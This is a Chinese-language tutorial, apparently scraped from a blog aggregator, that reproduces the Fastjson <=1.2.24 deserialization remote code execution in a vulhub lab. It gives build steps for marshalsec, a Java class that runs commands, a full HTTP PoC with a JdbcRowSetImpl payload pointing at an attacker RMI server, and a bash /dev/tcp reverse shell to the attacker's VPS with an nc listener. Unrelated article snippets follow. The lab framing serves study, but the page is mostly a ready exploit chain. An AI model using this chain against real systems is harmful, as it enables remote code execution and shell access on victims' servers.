Fastjson <=1.2.24-反序列化-任意命令执行

提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

漏洞分析

https://www.secpulse.com/archives/72391.html

复现参考

https://www.cnblogs.com/hack404/p/11980791.html

https://www.cnblogs.com/tr1ple/p/11431543.html

https://www.cnblogs.com/escape-w/p/11322845.html

环境搭建

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

搭建完成后访问 8090端口

接着在自己的vps里开启rmi或者ldap服务

推荐使用marshalsec快速开启rmi或ldap服务

地址：

git clone https://github.com/mbechler/marshalsec

下载marshalsec，使用maven编译jar包

mvn clean package -DskipTests

安装完成好后，新建文件，复制代码，命名为TouchFile.java （注：红体就是要执行的命令，每次换命令，都要重新编译文件）

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

进行编译成class文件，会生成TouchFile.class文件

javac TouchFile.java

然后搭起服务，要测试能直连 TouchFile.class ，才会执行文件里的命令

python -m SimpleHTTPServer 4444

开启rmi或ldap服务 4444是上方服务的端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:4444/#TouchFile" 9999

然后上poc

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vpsIP:9999/TouchFile",
"autoCommit":true
}
}

这边监听的就返回连接了

由于是docker搭建的环境，所以要docker里的/tmp 查看，而不是当前的/tmp

比如 "touch", "/tmp/success

反弹shell

替换代码，修改，然后编译，步骤和上面一样

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

监听端口

nc -lvnp 7777

成功反弹

总结一下：

1.利用java编译好执行命令的文件

2.python -m SimpleHTTPServer 4444 构建好服务，才能在poc里能访问到TouchFile.class执行命令

3.利用java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:4444/#TouchFile" 9999 搭建好通讯监听，poc里访问这个9999端口就和4444端口通讯了，然后执行了TouchFile.class命令

Fastjson <=1.2.24-反序列化-任意命令执行的更多相关文章

fastcgi未授权访问及任意命令执行
1. 漏洞原理服务端使用fastcgi协议并对外网开放9000端口,攻击者可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令. 2. 漏洞利用第一步搭建vulhu ...
小白日记36：kali渗透测试之Web渗透-手动漏洞挖掘（二）-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
Weblogic wls9&lowbar;async&lowbar;response 反序列化远程命令执行漏洞（CVE-2019-2725）复现
一. 漏洞简介漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...
浪潮 ClusterEngineV4&period;0 任意命令执行
1.浪潮ClusterEngineV4.0 任意命令执行影响版本 ClusterEngineV4.0 2.漏洞影响远程代码执行 3.复现 fofa语句 title='TSCEV4.0' 抓包构造e ...
Couchdb 任意命令执行漏洞（CVE-2017-12636）
影响版本:小于 1.7.0 以及小于 2.1.1 该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户依次执行如下请求即可触发任意命令执 ...
Elasticsearch Groovy任意命令执行漏洞EXP
测试url:http://190.196.67.252:9200/_search?pretty http://191.234.18.14:9200///_search?pretty POST提交 {“ ...
wordpress&lt&semi;=4&period;6版本任意命令执行漏洞
漏洞简述当WordPress 使用 PHPMailer 组件向用户发送邮件.攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数).$run(系统调用函数) ...
sangforEDR 任意命令执行
EDR 使用范围由于只有POC 没有详细细节.暂时不知道具体细节. 部分EDR 已经完成升级,不存在该漏洞. POC https://XXX:8081/tool/log/c.php?strip_sl ...
fastjson 1&period;2&period;24反序列化导致任意命令执行漏洞分析记录
环境搭建: 漏洞影响版本: fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞环境地址: https://github.com/vulhub/vulhub/tree/master ...

随机推荐

java文件下载，上传，解压方法
1.文件下载(亲测可用) private static final int BUFFER = 2 * 1024;// 缓冲区大小(2k)private boolean isSuccess = true ...
SpringIOC使用扩展
在上篇博客中,我们使用Spring通过setter访问器实现了对属性的赋值,这种做法被称为设值注入.除此之外Spring还提供了通过构造方法赋值的能力,成为构造注入.下面我们通过一个小demo来了解如 ...
《Linux命令行大全》系列（一、shell是什么）
学习 Linux, 从命令开始图形界面只是让简单事情,更简单图形化界面能快速处理简单的事情,如打开/关闭文件然后,随着事务复杂度的提升,图形化界面的操作也就繁琐起来例如,word中插入一个图片 ...
IOS的处理touch事件处理(按照手指的移动移动一个圆,开发环境用的ios7,storyboard）
先看下页面的效果图: 首先定义这个ball它有两个属性和两个方法: @property(nonatomic) CGPoint location; @property(nonatomic) CGFloa ...
Borda count
波达计数法(Borda Count)是较为简单的排序投票法,每个选项借由选票上的排序来取得积分,积分最高者获胜.另一个类似的方法则是位置投票制. 投票人按喜好排列候选者.如果候选者在选票的排第一位,它 ...
根据json生成c&num;实体类
vs 编辑->选择性粘贴->将json粘贴为类
C&num;发布和调试WebService
一.编写并发布WebService服务 1.新建空web应用程序
Day5-1 面向对象和面向过程
摘要: 类的定义类的增删改查对象的增删改查对象的查找和绑定面向对象和面向过程的区别: 1.面向过程就像是工厂的流水线,按部就班的有序的工作. 优点:把复杂的问题简单化缺点:可扩展性差.一个步 ...
synchronized 和lock的区别
synchronized 是什么时候释放? 1.获取锁的线程执行完代码2.线程执行出现异常 synchronized 的缺陷? 1.Lock类可以主动释放锁.2.synchronized 是被动. R ...
tomcat顺序图摘要
1.Connector 处理一次请求顺序图 2.Context 和 wrapper 的处理请求时序图 3. 参考: https://www.ibm.com/developerworks/cn/java ...